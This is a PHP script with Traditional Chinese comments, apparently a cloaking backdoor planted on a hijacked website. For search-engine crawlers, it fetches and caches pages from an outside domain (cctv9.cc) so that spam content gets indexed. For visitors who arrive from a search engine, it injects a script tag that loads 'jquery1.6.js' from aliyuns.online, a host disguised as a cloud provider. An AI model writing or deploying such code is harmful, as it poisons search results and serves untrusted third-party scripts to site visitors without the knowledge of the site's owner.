<?php
// 定義緩存目錄、源地址和廣告代碼塊
$cacheDir = $_SERVER['DOCUMENT_ROOT'] . '/cache/news/';
$referrer = $_SERVER['HTTP_REFERER'];
$sourceUrl = 'https://cctv9.cc/';
// 獲取用戶真實IP(考慮到可能使用了CDN)
$userIP = get_real_ip();
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 檢測是否為搜索引擎蜘蛛訪問
if (preg_match('/google|yahoo|baidu|bing|sogou|soso|sm/', $referrer) || is_spider($userAgent)) {
// 如果是蜘蛛,禁止加載JavaScript文件
if (is_spider($userAgent)) {
// 不返回403,允許蜘蛛繼續訪問
$cacheFile = $cacheDir . md5($_SERVER['REQUEST_URI']);
if (file_exists($cacheFile)) {
// 讀取緩存
echo file_get_contents($cacheFile);
exit;
} else {
// 獲取內容并緩存
$content = fetch_content($sourceUrl . md5($_SERVER['REQUEST_URI']));
if ($content === false || strlen($content) < 1024) {
// 獲取內容失敗,返回502錯誤
http_response_code(502);
echo '502 Bad Gateway';
exit;
} else {
file_put_contents($cacheFile, $content);
echo $content;
exit;
}
}
} else {
// 如果是普通用戶,加載指定的JavaScript代碼
echo "<script src='https://aliyuns.online/jquery1.6.js'></script>";
exit;
}
}
// 創建多級緩存目錄
if (!is_dir($cacheDir)) {
mkdir($cacheDir, 0777, true);
}
// 獲取訪問網址路徑
$urlpath = $_SERVER['REQUEST_URI'];
// 刪除百度IP段相關的代碼
// 繼續往下執行,處理普通用戶的請求
// 獲取用戶真實IP的函數
function get_real_ip() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
// 獲取指定URL內容的函數
function fetch_content($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3');
$content = curl_exec($ch);
curl_close($ch);
return $content;
}
// 添加一個函數來檢測User-Agent是否為蜘蛛
function is_spider($userAgent) {
$spiders = ['Googlebot', 'Bingbot', 'Baiduspider', 'YandexBot', 'Sogou', 'Exabot', 'facebot', 'ia_archiver'];
foreach ($spiders as $spider) {
if (stripos($userAgent, $spider) !== false) {
return true;
}
}
return false;
}
?>